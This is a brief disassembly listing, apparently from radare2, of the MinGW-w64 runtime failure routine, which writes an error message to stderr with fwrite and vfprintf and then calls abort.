call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]